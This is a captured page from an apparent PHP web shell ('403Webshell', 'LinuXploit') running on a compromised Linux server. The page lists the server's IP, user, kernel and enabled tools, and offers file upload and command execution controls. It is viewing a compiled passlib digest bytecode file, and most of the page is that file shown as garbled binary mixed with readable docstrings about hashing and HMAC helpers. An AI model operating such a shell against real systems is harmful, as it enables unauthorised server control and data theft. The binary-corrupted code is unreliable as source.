403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/passlib/crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/passlib/crypto/__pycache__/digest.cpython-314.pyc
+
�THi.]��<a�0t$Rt^RIHt^RIt^RIt^RIt^RIt^RIH	t	^RI
Ht^RIH
t
^RIHtHtHtHt^RIHt^RIHt.R0OtR1tR2t.R3OtRR4RR5RR6R
R6RR7RR8R
R5RR9RR:RR;RR<RR=RR4RR>RR;/tRt/tR]R&RtRt R?Rlt!R R!lt"R@R"lt#!R#R	]4t$Rs%0RAmt&RBR$R%llt']!]PPPSR&44'd]'!4]*!R']+!R(444t,]*!R)]+!R(444t-RCR*R+llt.RDR,lt/RDR-R.llt0R/.t1R#)Ezlpasslib.crypto.digest -- crytographic helpers used by the password hashes in passlib

.. versionadded:: 1.7
)�annotationsN)�warn)�exc)�logger)�
SequenceMixin�as_bool�to_bytes�
to_native_str)�unicode_or_bytes)�memoized_property�HashInfo�md5�sha1�sha224�sha256�sha384�sha512�blake2b�blake2s�md4�sha3_224�sha3_256�sha3_384�sha3_512�shake128�shake256c��/p\\PR0,4F2p\V4pVPVP
3WP&K4	V#)z�
internal helper used to generate ``_fallback_info`` dict.
currently only run manually to update the above list;
not invoked at runtime.
r)�sorted�hashlib�algorithms_available�lookup_hash�digest_size�
block_size�name)�out�alg�infos   �7/usr/lib/python3/dist-packages/passlib/crypto/digest.py�_gen_fallback_infor(ZsP��
�C��g�2�2�e�W�<�=���3����*�*�D�O�O�<��I�I��>��J�zdict[str, str]�_hash_info_cachec���Tp\V\4'g\VRR4p\P!RRVP4P
44pVPR4'dVR,pVPR4pRpV!V4pV'dV#\P!R	V4pV'd�VPR
RR4wrVpV'd	WV,
pTpV'd*VRV,,
pV'd
VR
,
pW�,
pV!V4pV'dV#\P!RVVV4W�3#TpVPRR
4p\P!RVVV4W�3#)a!
internal helper used by :func:`lookup_hash` --
normalize arbitrary hash name to hashlib format.
if name not recognized, returns dummy record and issues a warning.

:arg name:
    unnormalized name

:returns:
    tuple with 2+ elements: ``(hashlib_name, iana_name|None, ... 0+ aliases)``.
zutf-8z	hash namez[_ /]�-zscram-:�NNz-plusc�4�\F
pW9gKVu#	R#�N)�_known_hash_names)r#�rows& r'�check_table�&_get_hash_aliases.<locals>.check_table�s��$�C��{��
�%�r)z8(?i)^(?P<name>[a-z]+)-?(?P<rev>\d)?-?(?P<size>\d{3,4})?$r#�rev�size�_z0normalizing unrecognized hash name %r => %r / %rz;normalizing unrecognized hash name and format %r => %r / %r)�
isinstance�strr	�re�sub�strip�lower�
startswith�removesuffix�match�grouprr&�replace�warning)	r#�origr2�result�m�	iana_namer4r5�hashlib_names	&        r'�_get_hash_aliasesrHksc���D��d�C� � ��T�7�K�8��
�6�6�'�3��
�
�� 2� 2� 4�5�D��������B�x��� � ��)�����
�F�
��
�	���L�d�S�A�� !�w�w�v�u�f�=��	�����I� �����t��#�I����#��� �L��Y�'����M�	���>����		
�$�"�"��	��|�|�C��-�����I����		
��"�"r)c�Haa�SPR4'gSR
9d\\S4#\PoS!SR4RVV3RllpSVnRVnRS:R2VnV# \dLLi;i \dMi;iSR8Xd	^RI	H
pT#R	#)z�
internal helper used by :func:`lookup_hash` --
lookup hash constructor by name

:arg name:
    name (normalized to hashlib format, e.g. ``"sha256"``)

:returns:
    hash constructor, e.g. ``hashlib.sha256()``;
    or None if hash can't be located.
r6r)c�<�S!SV4#r/�)�msgr#�new_ssl_hashs&��r'�const�_get_hash_const.<locals>.const�s�����c�*�*r)rzwrapper for hashlib.new(z3),
generated by passlib.crypto.digest.lookup_hash()r)rN)�new�
algorithms�r))r=�getattrr�AttributeErrorrP�__name__�
__module__�__doc__�
ValueError�passlib.crypto._md4r)r#rNrrMsf  @r'�_get_hash_constrZ�s�����?�?�3���D�0E�$E�	��7�D�)�)�
�;�;�L���T�3��	+�	+����$���&�t�h�/?�
?�	�
����-�	��	���
��
��"�u�}�+��
�
s#�A1�	B�1A?�>A?�B�BFc�a	�\pW0,# \\3dMi;iT'dRpRp\T\4'dl\T4pT^,o	S	'gQhS	T8wd\
S	TR7pYcT&T#\S	4pT'd \'dS	\9d	R
T	3RllpM\T\4'dT#\T4'd?Tp\T!4P4pT^,o	\S	4pTfM!Y�JdMRpM\P!TRR4h\YuTR7pTeYcT&T'd;TF4o	S	'gK
TPS	4RT39gQS	:R	24hYcS	&K6	T#)a
Returns a :class:`HashInfo` record containing information about a given hash function.
Can be used to look up a hash constructor by name, normalize hash name representation, etc.

:arg digest:
    This can be any of:

    * A string containing a :mod:`!hashlib` digest name (e.g. ``"sha256"``),
    * A string containing an IANA-assigned hash name,
    * A digest constructor function (e.g. ``hashlib.sha256``).

    Case is ignored, underscores are converted to hyphens,
    and various other cleanups are made.

:param required:
    By default (True), this function will throw an :exc:`~passlib.exc.UnknownHashError` if no hash constructor
    can be found, or if the hash is not actually available.

    If this flag is False, it will instead return a dummy :class:`!HashInfo` record
    which will defer throwing the error until it's constructor function is called.
    This is mainly used by :func:`norm_hash_name`.

:param return_unknown:

    .. deprecated:: 1.7.3

        deprecated, and will be removed in passlib 2.0.
        this acts like inverse of **required**.

:returns HashInfo:
    :class:`HashInfo` instance containing information about specified digest.

    Multiple calls resolving to the same hash should always
    return the same :class:`!HashInfo` instance.
FT��requiredc�"<�\S:R24h)z2 disabled for fips by passlib set_mock_fips_mode())rX)�sourcer#s&�r'rN�lookup_hash.<locals>.const5s��� ��h�P�Q��r)Nzdigest name or constructor�digest)rN�namesr]z already in cacherR)r*�KeyError�	TypeErrorr7r
rHr rZ�mock_fips_mode�_fips_algorithmsr�callabler#r�ExpectedTypeError�get)
ra�return_unknownr]�cache�
cache_by_name�	name_listr&rN�other_constr#s
&&&      @r'r r �s����R
�E�
��}����i� �
��
��
����M��&�*�+�+�%�f�-�	���|����t��6�>��t�h�7�D� �&�M��K� ��%���^�^��4D�(D�
��

�F�H�	%�	%��
�	�&�	�	���%�e�g�l�l�3�	���|��%�d�+����
�
�
!�
�"�M��#�#�F�,H�(�S�S��%�8�D�D�
���e����D��t��y�y���4��,�6�T�4�(�BS�8T�T�6�"�d����Ks��%�%c��V^8�dQhRR/#)��return�NonerK)�formats"r'�__annotate__rtfs�����r)c�.�\P4R#r/)r*�clearrKr)r'�clear_lookup_hash_cacherwfs�����r)c��\VRR7pVP'd,\RVP,\P
4VR8Xd
VP#VR8Xd
VP#\RV:24h)a�Normalize hash function name (convenience wrapper for :func:`lookup_hash`).

:arg name:
    Original hash function name.

    This name can be a Python :mod:`~hashlib` digest name,
    a SCRAM mechanism name, IANA assigned hash name, etc.
    Case is ignored, and underscores are converted to hyphens.

:param format:
    Naming convention to normalize to.
    Possible values are:

    * ``"hashlib"`` (the default) - normalizes name to be compatible
      with Python's :mod:`!hashlib`.

    * ``"iana"`` - normalizes name to IANA-assigned hash function name.
      For hashes which IANA hasn't assigned a name for, this issues a warning,
      and then uses a heuristic to return a "best guess" name.

:returns:
    Hash name, returned as native :class:`!str`.
Fr\znorm_hash_name(): r�ianazunknown format: )	r �unknownr�
error_textr�PasslibRuntimeWarningr#rFrX)r#rsr&s&& r'�norm_hash_namer}jsj��0�t�e�,�D��|�|�|��
!�D�O�O�
3�S�5N�5N�O�
����y�y��
����~�~��
�'��z�2�
3�3r)c�`�]tRtRtRtRtRtR
tRtRt	Rt
RtRtRRlt
RtRt]R4tR	tR#)ri�a�
Record containing information about a given hash algorithm, as returned :func:`lookup_hash`.

This class exposes the following attributes:

.. autoattribute:: const
.. autoattribute:: digest_size
.. autoattribute:: block_size
.. autoattribute:: name
.. autoattribute:: iana_name
.. autoattribute:: aliases
.. autoattribute:: supported

This object can also be treated a 3-element sequence
containing ``(const, digest_size, block_size)``.
NFc
�2aaa�V^,;oSnV^,SnVR,SnRVVV3RllpVf*V\9dRS:2pM
RS:2pRSnV!V4R#V!4pTSn
TPSnTPSn\TP44TP8wd\SP:R24hTPSP8wd=\!RSP:RT:RTP:2\"P$4R#R# \
dYpR\
T4P49dS:R	2pM R
S:R\T4PRTR
2pT!T4Rp?R#Rp?ii;i)z�
initialize new instance.
:arg const:
    hash constructor
:arg names:
    list of 2+ names. should be list of ``(name, iana_name, ... 0+ aliases)``.
    names must be lower-case. only iana name may be None.
:rpNNc� �V^8�dQhRRRR/#)rprLr8rqrrrK)rss"r'rt�'HashInfo.__init__.<locals>.__annotate__�s��	I�	I��	I��	Ir)c�<a�RVV3RllpS'dV!4SSnVSn\P!\4;_uu_4\
S,wSnSnRRR4R# +'giR#;i)zK
helper that installs stub constructor which throws specified error <msg>.
c�2<�\P!SS4hr/)r�UnknownHashError)r_rLr#s&��r'rN�8HashInfo.__init__.<locals>.use_stub_const.<locals>.const�s����*�*�3��5�5r)NrR)r{rN�
contextlib�suppressrc�_fallback_infor!r")rLrNr#r]�selfsf ���r'�use_stub_const�)HashInfo.__init__.<locals>.use_stub_const�s[���

6�
6����!�D�O��D�J��$�$�X�.�.�4B�4�4H�1�� �$�/�/�.�.�.�s�A0�0B	Nzunsupported hash: zunknown hash: Tzdisabled for fipsz hash disabled for fipszinternal error in z constructor
(z: �)z  constructor failed sanity checkzinconsistent digest name: z
 resolved to z, which reports name as )r#rF�aliasesr0rzrXr8r<�typerUrNr!r"�lenra�RuntimeErrorrrr|)	r�rNrbr]r�rL�hash�errr#s	f&&f    @r'�__init__�HashInfo.__init__�s����!��8�#��t�y��q�����R�y���	I�	I�&�=��)�)�*�4�(�3��&�t�h�/��#����3���	��7�D���
��+�+����/�/����t�{�{�}���!1�!1�1��$�)�)��.N�O�P�P��9�9��	�	�!��,�T�Y�Y�M��u�i�Og�hl�hq�hq�gt�u��)�)�
�"��-�
	�
#�c�#�h�n�n�&6�6��� 7�8��*�4�(�/�$�s�)�BT�BT�AU�UW�X[�W\�\]�^���3����
	�s�)D3�3F�>A
F�Fc	�\�RVP:RVP:RVP:R2#)z
<lookup_hash(z): digest_size=z block_size=r�)r#r!r"�r�s&r'�__repr__�HashInfo.__repr__s1���t�y�y�m�?�4�;K�;K�:N�l�[_�[j�[j�Zm�mn�o�or)c	�H�VPVPVP3#r/)rNr!r"r�s&r'�	_as_tuple�HashInfo._as_tuple
s���z�z�4�+�+�T�_�_�<�<r)c
��VPRJ#)za
whether hash is available for use
(if False, constructor will throw UnknownHashError if called)
N)r{r�s&r'�	supported�HashInfo.supported
s�����$�&�&r))r�r"rNr!r{rFr#rzrK�T)rUrV�__qualname__�__firstlineno__rWr#rFr�rNr!r"r{rzr�r�r�rr��__static_attributes__rKr)r'rr�se���$�D��I��G�
�E��K��J��J��G�M�^p�=��'��'r)c� �V^8�dQhRRRR/#)rp�enable�boolrqrrrK)rss"r'rtrt.s�������r)c��Vs\4R#)zO
UT helper which monkeypatches lookup_hash() internals to replicate FIPS mode.
N)rerw)r�s&r'�_set_mock_fips_moder�.s��
�N��r)�PASSLIB_MOCK_FIPS_MODEc#�2"�TF
q^\,x�K	R#5i)�\NrK��.0�xs& r'�	<genexpr>r�<����1�j��t�8�8�j����c#�2"�TF
q^6,x�K	R#5i)�6NrKr�s& r'r�r�=r�r�c�$�V^8�dQhRRRRRR/#)rprar8�keyzstr | bytes�	multipartr�rK)rss"r'rtrt@s&��L�L��L�;�L�4�Lr)c��a	a
�\V4pVwrEpV^8�gQR4h\V\4'g\VRR7p\	V4pWv8�dV!V4P4pTpWv8dVRWg,
,,
pV!VP
\44Po	V!VP
\44Po
V'd	V	V
3RlpMV	V
3RlpW8n
V#)aV
This function returns an efficient HMAC function, hardcoded with a specific digest & key.
It can be used via ``hmac = compile_hmac(digest, key)``.

:arg digest:
    digest name or constructor.

:arg key:
    secret key as :class:`!bytes` or :class:`!str` (str will be encoded using utf-8).

:param multipart:
    request a multipart constructor instead (see return description).

:returns:
    By default, the returned function has the signature ``hmac(msg) -> digest output``.

    However, if ``multipart=True``, the returned function has the signature
    ``hmac() -> update, finalize``, where ``update(msg)`` may be called multiple times,
    and ``finalize() -> digest_output`` may be repeatedly called at any point to
    calculate the HMAC digest so far.

    The returned object will also have a ``digest_info`` attribute, containing
    a :class:`lookup_hash` instance for the specified digest.

This function exists, and has the weird signature it does, in order to squeeze as
provide as much efficiency as possible, by omitting much of the setup cost
and features of the stdlib :mod:`hmac` module.
zblock size too smallr���param�c�><a�S!4oVV3RlpSPV3#)z)generated by compile_hmac(multipart=True)c�p<�S!4pVPSP44VP4#r/��updatera)�outer�_outer_copy�inners ��r'�finalize�,compile_hmac.<locals>.hmac.<locals>.finalizezs(���#�
�����U�\�\�^�,��|�|�~�%r))r�)r�r��_inner_copyr�s @��r'�hmac�compile_hmac.<locals>.hmacvs ����M�E�
&�
�<�<��)�)r)c�<�S!4pVPV4S!4pVPVP44VP4#)zgenerated by compile_hmac()r�)rLr�r�r�r�s&  ��r'r�r��s;����M�E��L�L����M�E��L�L�����(��<�<�>�!r))r r7�bytesrr�ra�	translate�	_TRANS_36�copy�	_TRANS_5C�digest_info)rar�r�r�rNr!r"�klenr�r�r�s&&&      @@r'�compile_hmacr�@s����@�f�%�K�%0�"�E�
����3�3�3���c�5�!�!��s�%�(���s�8�D����C�j���!�������w�*�+�,�,����
�
�i�0�1�6�6�K���
�
�i�0�1�6�6�K��		*�	"�#���Kr)c��\V4wrVp\VRR7p\VRR7p\V\4'g\P
!VRR4hV^8d\
R4hVfTpMY\V\4'g\P
!VRR	4hV^8d\
R
4hWF8�d\
RV:RV:24hW,p\V4Fp	V!V4P4pK	VRV#)
a�pkcs#5 password-based key derivation v1.5

:arg digest:
    digest name or constructor.

:arg secret:
    secret to use when generating the key.
    may be :class:`!bytes` or :class:`str` (encoded using UTF-8).

:arg salt:
    salt string to use when generating key.
    may be :class:`!bytes` or :class:`str` (encoded using UTF-8).

:param rounds:
    number of rounds to use to generate key.

:arg keylen:
    number of bytes to generate (if omitted / ``None``, uses digest's native size)

:returns:
    raw :class:`bytes` of generated key

.. note::

    This algorithm has been deprecated, new code should use PBKDF2.
    Among other limitations, ``keylen`` cannot be larger
    than the digest size of the specified hash.
�secretr��salt�int�roundszrounds must be at least 1Nzint or None�keylenzkeylen must be at least 0z keylength too large for digest: z > )	r rr7r�rrhrX�rangera)
rar�r�r�r�rNr!r"�blockr6s
&&&&&     r'�pbkdf1r��s���<&1��%8�"�E�
��f�H�
-�F��D��'�D��f�c�"�"��#�#�F�E�8�<�<�
��z��4�5�5��~���
���
$�
$��#�#�F�M�8�D�D�	�!���4�5�5�	�	��.�v�j��K�?�K�
�	
�

�M�E�
�6�]���e��#�#�%�����&�>�r)c�(�V^8�dQhRRRRRRRR/#)rprar�r�r�r�r�rK)rss"r'rtrt�s.��'O�'O��'O�u�'O�E�'O�3�'Or)c��\VRR7p\VRR7p\V4p\P!VPWW44#)a\pkcs#5 password-based key derivation v2.0 using HMAC + arbitrary digest.

:arg digest:
    digest name or constructor.

:arg secret:
    passphrase to use to generate key.
    may be :class:`!bytes` or :class:`str` (encoded using UTF-8).

:arg salt:
    salt string to use when generating key.
    may be :class:`!bytes` or :class:`str` (encoded using UTF-8).

:param rounds:
    number of rounds to use to generate key.

:arg keylen:
    number of bytes to generate.
    if omitted / ``None``, will use digest's native output size.

:returns:
    raw bytes of generated key

.. versionchanged:: 1.7

    This function will use the first available of the following backends:

    * :func:`hashlib.pbkdf2_hmac` (only available in py2 >= 2.7.8, and py3 >= 3.4)

    See :data:`passlib.crypto.digest.PBKDF2_BACKENDS` to determine
    which backend(s) are in use.
r�r�r�)rr r�pbkdf2_hmacr#)rar�r�r�r�r�s&&&&& r'r�r��sD��B�f�H�
-�F��D��'�D��f�%�K����{�/�/��v�N�Nr)zhashlib-ssl)r rwrr}r�r�r�l��l����))�md2r�)r
r
)rzsha-1)rzsha-224zsha2-224)rzsha-256zsha2-256)rzsha-384zsha2-384)rzsha-512zsha2-512)rzblake-2b)rzblake-2s)rr)�	ripemd160z
ripemd-160�ripemd)�@�)� r�)�r�)�r�)�r�)�0r�)r��)r��)r��h)r��H)r��)FT)r>rrrrrrrrr�	shake_128�	shake_256r�)Fr/)2�__conditional_annotations__rW�
__future__rr�r�osr9�warningsr�passlibr�passlib._loggingr�
passlib.utilsrrrr	�passlib.utils.compatr
�passlib.utils.decorr�__all__�
MAX_UINT32�
MAX_UINT64r0r�r(r*�__annotations__rHrZr rwr}rrerfr��environrir�r�r�r�r�r�r��PBKDF2_BACKENDS)r�s@r'�<module>r�sa����
#���	�	���#�I�I�1�1����
��
���>�y�
�x�	�8�	�8�
�H��h��h��i��	��	��	����i��	��	�!��(
�$&��.�%�H#�V1�hy�x�4�DG'�}�G'�V����&��2�:�:�>�>�2�3�4�4���
�1�e�C�j�1�1�	��1�e�C�j�1�1�	�L�^:�z'O�V��r)

Youez - 2016 - github.com/yon3zu
LinuXploit